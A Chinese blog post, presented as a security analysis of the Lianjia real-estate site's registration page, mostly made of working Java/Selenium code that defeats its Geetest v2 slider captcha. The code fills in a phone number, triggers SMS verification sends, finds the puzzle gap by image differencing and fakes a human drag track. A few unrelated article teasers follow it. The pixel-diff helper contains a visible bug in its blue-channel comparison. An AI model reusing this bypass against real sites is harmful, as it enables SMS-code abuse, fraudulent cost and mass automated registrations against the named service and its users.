登录安全分析报告:链家地产

news2025/4/5 20:27:23

前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何?请看具体分析。

一、 链家地产 PC 注册入口

简介:北京链家成立于2001年,是中国领先的房地产服务企业,业务覆盖二手房、新房、租房等全方位房产交易和居住服务,目前北京链家有1000余家门店。20年来,北京链家致力于提供安全有品质的服务,在行业率先承诺“不吃差价”、首倡“真房源”、推出“交易不成 佣金全退”“电话营销 扰一赔百”等18项安心服务承诺,与此同时北京链家也在全面推行店面服务升级和经纪人职业素养提升,坚持对客户好,对经纪人好,对社区好,持续推动行业进步,不断提供更有品质的服务。

在这里插入图片描述

二、 安全性分析报告:

采用极验的V2版本,容易被模拟器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上。
在这里插入图片描述

三、 测试方法:

前端界面分析, 采用的是极验2.0,最大特点就是将图片做分割后,在前端再做合并,这就好办了, 网上有大量现成的逆向文章及视频参考,不过我们这次不用逆向, 只是采用模拟器的方式,关键点主要模拟器交互、距离识别和轨道算法3部分。

在这里插入图片描述

  1. 模拟器交互部分

public RetEntity send(WebDriver driver, String areaCode, String phone) {
		try {
			driver.get(INDEX_URL);

			// 点击立即注册
			driver.findElements(By.className("log")).get(0).click();
			Thread.sleep(500);

			List<WebElement> inputElements = driver.findElements(By.xpath("//input[@class='phonenum_input']"));
			System.out.println("findElements size=" + inputElements.size());

			WebElement phoneElemet = inputElements.get(2);
			for (int i = 0; i < phone.length(); i++) {
				char c = phone.charAt(i);
				phoneElemet.sendKeys(c + "");
				phoneElemet.click();
			}
			Thread.sleep(500);
			List<WebElement> emElements = driver.findElements(By.tagName("em"));
			System.out.println("emElements size=" + emElements.size());
			for (WebElement web : emElements) {
				String text = web.getText();
				if (text != null && "获取验证码".equals(text)) {
					web.click();
				}
			}

			boolean result = geetApi.getAndMove(driver, 6);
			RetEntity retEntity = new RetEntity();
			if (result) {
				retEntity.setRet(0);
				retEntity.setMsg("发送成功");
			} else {
				retEntity.setRet(-1);
				retEntity.setMsg("发送失败");
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println(e.toString());
			return null;
		}
	}


  1. 获取滑动图片及调用移动交互
public boolean getAndMove(WebDriver driver, Integer offSet) {
		int distance = -1;
		try {
			WebElement moveElement = ChromeDriverManager.waitElement(driver, By.className("geetest_slider_button"), 1000);
			if (moveElement == null) {
				logger.error("getAndMove() moveElement=" + moveElement);
				return false;
			}

			// 下面的js代码根据canvas文档说明而来
			// 完整背景图geetest_canvas_fullbg geetest_fade geetest_absolute
			StringBuffer base64 = new StringBuffer();
			String fullName = "geetest_canvas_fullbg geetest_fade geetest_absolute";
			byte[] fullImg = GetImage.callJsByName(driver, fullName, base64);

			String bgName = "geetest_canvas_bg geetest_absolute";
			byte[] bgImg = GetImage.callJsByName(driver, bgName, base64);
			File fullFile = null, bgFile = null;
			if (fullImg != null && bgImg != null) {
				Long time = System.currentTimeMillis();

				fullFile = new File(dataPath + "geet/" + time + "full.png");
				FileUtils.writeByteArrayToFile(fullFile, fullImg);
				bgFile = new File(dataPath + "geet/" + time + "bg.png");
				FileUtils.writeByteArrayToFile(bgFile, bgImg);
				if (fullImg.length < 10000) {
					System.out.println("fullImg len=" + fullImg.length + " -> err[len<10000]");
					return false;
				}
			}
			// 获取滑动距离并删除图片
			distance = (fullFile != null && bgFile != null) ? ActionMove.getMoveDistance(fullFile.getAbsolutePath(), bgFile.getAbsolutePath()) : -1;
			if (distance < 1) {
				logger.error("getAndMove distance=" + distance);
				return false;
			}

			if (offSet != null)
				ActionMove.move(driver, moveElement, distance - offSet);
			else
				ActionMove.move(driver, moveElement, distance);
			// 滑动结果
			Thread.sleep(1 * 1000);
			WebElement infoElement = ChromeDriverManager.getInstance().waitForLoad(By.className("geetest_result_content"), 10);
			String gtInfo = (infoElement != null) ? infoElement.getAttribute("innerText") : null;
			if (gtInfo != null) {
				System.out.println("gtInfo=" + gtInfo);
				if (gtInfo.contains("速度超过") || gtInfo.contains("通过验证")) {
					return true;
				}
			} else {
				String msg = driver.findElement(By.className("geetest_panel_success_title")).getAttribute("innerText");
				System.out.println("msg=" + msg);
			}

			return false;
		} catch (Exception e) {
			System.out.println("getAndMove() " + e.toString());
			logger.error(e.toString());
			return false;
		}
	}

2. 距离识别

/**
	 * 计算需要平移的距离
	 * 
	 * @param fullImgPath
	 *            完整背景图片文件名
	 * @param bgImgPath含有缺口背景图片文件名
	 * @return
	 * @throws IOException
	 */
	public static int getMoveDistance(String fullImgPath, String bgImgPath) {
		System.out.println("fullImgPath=" + fullImgPath);
		File fullFile = new File(fullImgPath);
		File bgFile = new File(bgImgPath);
		boolean fullExists = fullFile.exists();
		boolean bgExists = bgFile.exists();
		if (fullExists && bgExists) {
			String abPath = bgFile.getAbsolutePath();
			int l = abPath.lastIndexOf(".");
			String out = abPath.substring(0, l) + "-o" + abPath.substring(l);
			return getComareImg(fullFile, bgFile, out);
		} else {
			System.out.println("fullExists(" + fullImgPath + ")=" + fullExists + "\nbgExists(" + bgImgPath + ")=" + bgExists);
			return -1;
		}
	}
/**
	 * 计算需要平移的距离
	 * 
	 * @param driver
	 * @param fullImgPath完整背景图片文件名
	 * @param bgImgPath含有缺口背景图片文件名
	 * @return
	 * @throws IOException
	 */
	private static int getComareImg(Object fullObj, Object bgObj, String out) {
		System.out.println("getComareImg() begin");
		try {
			if (fullObj == null || bgObj == null) {
				return -1;
			}
			BufferedImage fullBI = (fullObj instanceof File) ? ImageIO.read((File) fullObj) : ImageIO.read((ByteArrayInputStream) fullObj);
			BufferedImage bgBI = (bgObj instanceof File) ? ImageIO.read((File) bgObj) : ImageIO.read((ByteArrayInputStream) bgObj);
			List<Integer> list;
			Color ca, cb;
			Map<Integer, List<Integer>> xMap = new TreeMap<Integer, List<Integer>>();
			// 将头35列的最大不同值取出, 作为右边图像的基础差
			Long tifTotl = 0L;
			int tifLeft = 0;
			int tifCount = 0;
			for (int i = 0; i < bgBI.getWidth(); i++) {
				for (int j = 0; j < bgBI.getHeight(); j++) {
					ca = new Color(fullBI.getRGB(i, j));
					cb = new Color(bgBI.getRGB(i, j));
					int diff = diff(ca, cb);
					if (i <= 35 && tifLeft < diff) {
						tifLeft = (diff >= 255) ? 255 : diff;
					} else if (diff > tifLeft) {
						tifTotl += diff;
						tifCount++;
					}
				}
			}

			Long tifAvg = (tifCount > 0) ? (tifTotl / tifCount) : 0L;
			if (tifLeft <= 0 && tifAvg >= 2) {
				tifAvg = tifAvg / 2;
			}
			for (int i = 35; i < bgBI.getWidth(); i++) {
				for (int j = 0; j < bgBI.getHeight(); j++) {
					ca = new Color(fullBI.getRGB(i, j));
					cb = new Color(bgBI.getRGB(i, j));
					int diff = diff(ca, cb);
					if (diff >= tifAvg) {
						list = xMap.get(i);
						if (list == null) {
							list = new ArrayList<Integer>();
							xMap.put(i, list);
						}
						list.add(j);
						xMap.put(i, list);
					}
				}
			}
			System.out.println("  |--tifLeft=" + tifLeft + ",tifTotl=" + tifTotl + ",tifCount=" + tifCount + ",tifAvg=" + tifAvg + ",xMap.size=" + xMap.size());

			int minX = 0;
			int maxX = 0;
			for (Integer x : xMap.keySet()) {
				list = xMap.get(x);
				minX = (minX == 0) ? x : minX;
				maxX = x;
				for (int y : list) {
					cb = new Color(bgBI.getRGB(x, y));
					int gray = (int) (0.3 * cb.getRed() + 0.59 * cb.getGreen() + 0.11 * cb.getBlue());
					bgBI.setRGB(x, y, gray);
				}
			}

			// 标记直线位置
			for (int y = 0; y < bgBI.getHeight(); y++) {
				bgBI.setRGB(minX, y, Color.red.getRGB());
			}
			int width = maxX - minX;
			File destFile = new File(out);
			Thumbnails.of(bgBI).scale(1f).toFile(destFile);
			System.out.println("  |---xMap.size=" + xMap.size() + " minX=" + minX + ",maxX=" + maxX + ",width=" + width);
			return minX;
		} catch (Exception e) {
			System.out.println(e.toString());
			for (StackTraceElement elment : e.getStackTrace()) {
				System.out.println(elment.toString());
			}
			logger.error("getMoveDistance() err = " + e.toString());
			return 0;
		}
	}

	private static int diff(Color ca, Color cb) {
		int d = Math.abs(ca.getRed() - cb.getRed()) + Math.abs(ca.getGreen() - cb.getGreen()) + Math.abs(ca.getBlue() - ca.getBlue());
		return d;
	}

3. 轨道生成及移动算法

/**
	 * 双轴轨道生成算法,主要实现平滑加速和减速
	 * 
	 * @param distance
	 * @return
	 */
	public static List<Integer[]> getXyTrack(int distance) {
		List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
		try {
			int a = (int) (distance / 3.0) + random.nextInt(10);
			int h = 0, current = 0;// 已经移动的距离
			BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
			BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
			BigDecimal move = null;// 每次循环移动的距离
			List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
			boolean plus = true;
			Double t = 0.18, v = 0.00, v0;
			while (current <= distance) {
				h = random.nextInt(2);
				if (current > distance / 2) {
					h = h * -1;
				}
				v0 = v;
				v = v0 + a * t;
				move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
				if (move.intValue() < 1)
					move = new BigDecimal(1L);
				if (plus) {
					track.add(new Integer[] { move.intValue(), h });
				} else {
					subList.add(0, new Integer[] { move.intValue(), h });
				}
				current += move.intValue();
				if (plus && current >= mid.intValue()) {
					plus = false;
					move = new BigDecimal(0L);
					v = 0.00;
				}
			}
			track.addAll(subList);
			int bk = current - distance;
			if (bk > 0) {
				for (int i = 0; i < bk; i++) {
					track.add(new Integer[] { -1, h });
				}
			}
			System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());
			return track;
		} catch (Exception e) {
			System.out.print(e.toString());
			return null;
		}
	}
/**
	 * 模拟人工移动
	 * 
	 * @param driver
	 * @param element页面滑块
	 * @param distance需要移动距离
	 * @throws InterruptedException
	 */
	public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {
		List<Integer[]> track = getXyTrack(distance);
		if (track == null || track.size() < 1) {
			System.out.println("move() track=" + track);
		}
		int moveY, moveX;
		StringBuffer sb = new StringBuffer();
		try {
			Actions actions = new Actions(driver);
			actions.clickAndHold(element).perform();
			Thread.sleep(20);
			long begin, cost;
			Integer[] move;
			int sum = 0;
			for (int i = 0; i < track.size(); i++) {
				begin = System.currentTimeMillis();
				move = track.get(i);
				moveX = move[0];
				sum += moveX;
				moveY = move[1];
				if (moveX < 0) {
					if (sb.length() > 0) {
						sb.append(",");
					}
					sb.append(moveX);
				}
				actions.moveByOffset(moveX, moveY).perform();
				cost = System.currentTimeMillis() - begin;
				if (cost < 3) {
					Thread.sleep(3 - cost);
				}
			}
			if (sb.length() > 0) {
				System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);
			}
			Thread.sleep(180);
			actions.release(element).perform();
			Thread.sleep(500);
		} catch (Exception e) {
			StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");
			for (StackTraceElement elment : e.getStackTrace())
				er.append(elment.toString() + "\n");
			logger.error(er.toString());
			System.out.println(er.toString());
		}
	}
  1. 图片比对结果测试样例:
    在这里插入图片描述

四丶结语

链家地产作为房地产中介的行业巨头, 采用的是通俗的滑动验证产品, 在一定程度上提高了用户体验, 不过随着图形识别技术及机器学习能力的提升,所以在网上破解的文章和教学视频也是大量存在,并且经过验证的确有效, 所以除了滑动验证方式, 花样百出的产品层出不穷,但本质就是牺牲用户体验来提高安全。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1853994.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【SpringCloud】负载均衡(Spring Cloud LoadBalancer)

负载均衡 当服务流量增大时&#xff0c;通常会采用增加机器的方式进行扩容。负载均衡就是用来在多个机器或者其他资源中&#xff0c;按照一定的规则合理分配负载。其中的实现可以分成客户端负载均衡和服务端负载均衡。 服务端负载均衡 在服务端进行负载均衡的算法分配。 比…

【CSS in Depth2精译】1.2 继承~1.3 特殊值

文章目录 1.2 继承1.3 特殊值1.3.1 inherit 关键字1.3.2 initial 关键字1.3.3 unset 关键字1.3.4 revert 关键字 1.2 继承 除了层叠&#xff0c;还有一种给元素设置样式的方式&#xff1a;继承。经常有人把层叠与继承的概念弄混淆。它们虽然有关联&#xff0c;但也应该分辨清楚…

mysql中in参数过多该如何优化

优化方式概述 未优化前 SELECT * FROM rb_product rb where sku in(1022044,1009786)方案2示例 public static void main(String[] args) {//往list里面设置3000个值List<String> list new ArrayList<>();for (int i 0; i < 3000; i) {list.add(""…

聚焦AIoT最后一公里:EasyCVR+AI视频技术在各领域的创新应用

随着5G、AI、边缘计算、物联网&#xff08;IoT&#xff09;、云计算等技术的快速发展&#xff0c;万物互联已经从概念逐渐转变为现实&#xff0c;全新的行业生态AIoT正在开启新时代。巨大的市场潜力与AI等新兴技术不断融合形成的庞大市场缺口&#xff0c;深度场景化应用落地诉求…

express+vue 在线五子棋(一)

示例 在线体验地址五子棋&#xff0c;记得一定要再拉个人才能对战 本期难点 1、完成了五子棋的布局&#xff0c;判断游戏结束 2、基本的在线对战 3、游戏配套im(这个im的实现&#xff0c;请移步在线im) 下期安排 1、每步的倒计时设置 2、黑白棋分配由玩家自定义 3、新增旁观…

YOLOv9摄像头或视频实时检测

1、下载yolov9的项目 地址&#xff1a;YOLOv9 2、使用下面代码进行检测 import torch import cv2 from models.experimental import attempt_load from utils.general import non_max_suppression, scale_boxes from utils.plots import plot_one_box# 加载预训练的YOLOv9模型…

机器人学习和研究的物质基础包含哪些内容?

为啥写这个&#xff1f; 在很多博客里面提及物质基础&#xff0c;没想到询问的也非常多&#xff0c;写一篇详细一点的。 之前的故事 不合格且失败机器人讲师个人理解的自身课程成本情况-CSDN博客 迷失自我无缘多彩世界-2024--CSDN博客 物质基础与情绪稳定的关系-CSDN博客 …

python 字符串驻留机制

偶然发现一个python字符串的现象&#xff1a; >>> a 123_abc >>> b 123_abc >>> a is b True >>> c abc#123 >>> d abc#123 >>> c is d False 这是为什么呢&#xff0c;原来它们的id不一样。 >>> id(a)…

uni-pay 2.x:一站式支付解决方案,让支付变得简单高效

一、引言 在移动互联网时代&#xff0c;支付功能已成为各类应用不可或缺的一部分。然而&#xff0c;支付功能的开发往往伴随着复杂的流程和高昂的成本&#xff0c;特别是在对接微信支付、支付宝支付等主流支付渠道时&#xff0c;前端后端的开发工作量和出错率都较高。为了简化…

TCP与UDP_三次握手_四次挥手

TCP vs UDP TCP数据 具体可以通过Cisco Packet Tracer工具查看&#xff1a; UDP数据 三次握手、四次挥手 为什么是3/4次&#xff1f;这牵扯到单工、双工通信的问题 TCP建立连接&#xff1a;表白 TCP释放连接&#xff1a;分手 TCP—建立连接—三次握手 解释&#xff1a; 首先&…

对于C++ 程序员来说,35岁魔咒是否存在?

大家常说程序员职业生涯会在35岁左右遇到所谓的“35岁魔咒”。这意味着在这个年龄段&#xff0c;程序员可能会面临就业不稳定或职业发展的挑战。对于C程序员来说&#xff0c;这个问题更加引人关注。 随着时间的推移&#xff0c;技术行业不断演进&#xff0c;新的编程语言层出不…

linux高级编程(1)

linux操作系统编程: 实现一个 用户程序 (1).库函数 --来实现 (2).系统调用 也就是说&#xff0c;程序要进行系统调用的话&#xff0c;有直接和间接&#xff08;通过库函数&#xff09;两种方式 linux里面对文件的处理: 思想: 一切皆文件 everything is file&…

【jenkins1】gitlab与jenkins集成

文章目录 1.Jenkins-docker配置&#xff1a;运行在8080端口上&#xff0c;机器只要安装docker就能装载image并运行容器2.Jenkins与GitLab配置&#xff1a;docker ps查看正在运行&#xff0c;浏览器访问http://10....:8080/2.1 GitLab与Jenkins的Access Token配置&#xff1a;不…

20-OWASP top10--XXS跨站脚本攻击

目录 什么是xxs&#xff1f; XSS漏洞出现的原因 XSS分类 反射型XSS 储存型XSS DOM型 XSS XSS漏洞复现 XSS的危害或能做什么&#xff1f; 劫持用户cookie 钓鱼登录 XSS获取键盘记录 同源策略 &#xff08;1&#xff09;什么是跨域 &#xff08;2&#xff09;同源策略…

PD虚拟机和VMware有什么区别?PD虚拟机和VMware谁更好用?

随着电脑硬件设备的飞快发展&#xff0c;一些高端的技术已经不再遥不可及&#xff0c;比如虚拟化&#xff0c;虚拟机技术已经成为IT领域和个人用户不可或缺的工具。特别是PD虚拟机&#xff08;Parallels Desktop&#xff09;和VMware&#xff0c;作为市场上两个主流的虚拟机软件…

【Web APIs】DOM 文档对象模型 ⑤ ( 获取特殊元素 | 获取 html 元素 | 获取 body 元素 )

文章目录 一、获取特殊元素1、获取 html 元素2、获取 body 元素3、完整代码示例 本博客相关参考文档 : WebAPIs 参考文档 : https://developer.mozilla.org/zh-CN/docs/Web/APIgetElementById 函数参考文档 : https://developer.mozilla.org/zh-CN/docs/Web/API/Document/getE…

4、SpringMVC 实战小项目【加法计算器、用户登录、留言板、图书管理系统】

SpringMVC 实战小项目 3.1 加法计算器3.1.1 准备⼯作前端 3.1.2 约定前后端交互接⼝需求分析接⼝定义请求参数:响应数据: 3.1.3 服务器代码 3.2 ⽤⼾登录3.2.1 准备⼯作3.2.2 约定前后端交互接⼝3.2.3 实现服务器端代码 3.3 留⾔板实现服务器端代码 3.4 图书管理系统准备后端 3…

【STM32c8t6】AHT20温湿度采集

【STM32c8t6】AHT20温湿度采集 一、探究目的二、探究原理2.1 I2C2.1. 硬件I2C2.1. 软件I2C 2.2 AHT20数据手册 三、实验过程3.1 CubeMX配置3.2 实物接线图3.3 完整代码3.4 效果展示 四、探究总结 一、探究目的 学习I2C总线通信协议&#xff0c;使用STM32F103完成基于I2C协议的A…

打印机状态显示错误是什么原因?这5个有效方法要记好!

打印机是现代办公中不可或缺的设备之一&#xff0c;但在使用过程中&#xff0c;打印机状态显示错误是一个常见的问题。本文将详细探讨打印机状态显示错误的原因及其解决方法。 摘要 打印机状态显示错误的原因及解决方法如下&#xff1a; 1、网络连接问题&#xff1a;原因&…

【docker1】指令,docker-compose,Dockerfile

文章目录 1.pull/image&#xff0c;run/ps&#xff08;进程&#xff09;&#xff0c;exec/commit2.save/load&#xff1a;docker save 镜像id&#xff0c;不是容器id3.docker-compose&#xff1a;多容器&#xff1a;宿主机&#xff08;eth0网卡&#xff09;安装docker会生成一…